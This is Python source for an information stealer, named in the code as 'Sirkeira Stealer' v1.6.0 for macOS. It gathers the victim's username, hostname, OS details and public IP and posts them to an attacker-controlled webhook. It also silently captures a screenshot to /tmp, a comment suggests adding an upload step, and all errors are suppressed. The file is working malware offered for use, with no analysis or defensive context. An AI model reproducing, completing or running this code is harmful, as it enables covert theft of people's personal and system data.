import os import sys import json import random import shutil import socket import getpass import platform import subprocess import time from pathlib import Path import requests import psutil from PIL import ImageGrab import cv2 class Paths: def __init__(self): self.temp = Path("/tmp") self.userprofile = Path.home() self.appdata = Path.home() / "Library" / "Application Support" class Config: def __init__(self, webhook_url: str, malware_name: str = "Sirkeira Stealer", version: str = "1.6.0"): self.webhook_url = webhook_url self.malware_name = malware_name self.version = version self.zip_name = f"SK_{random.randint(10000000000, 99999999999)}.zip" def get_system_info(): info = { "username": getpass.getuser(), "hostname": socket.gethostname(), "os": platform.platform(), "python": sys.version, "ip": requests.get('https://api.ipify.org').text if requests else "N/A" } return info def send_to_webhook(config, data): try: payload = {"content": f"**{config.malware_name} v{config.version}**\n```json\n{json.dumps(data, indent=2)}\n```"} requests.post(config.webhook_url, json=payload) except: pass def run_stealer(config: Config): print(f"[+] {config.malware_name} v{config.version} started on macOS") data = { "system": get_system_info(), "note": "macOS version - limited stealing capabilities (no Discord tokens, no Windows-specific decryption)" } send_to_webhook(config, data) print("[+] Data sent to webhook") # Optional: take screenshot try: screenshot = ImageGrab.grab() screenshot.save("/tmp/screenshot.png") # You can add file upload logic here if needed except: pass if __name__ == "__main__": # This file is imported, not run directly pass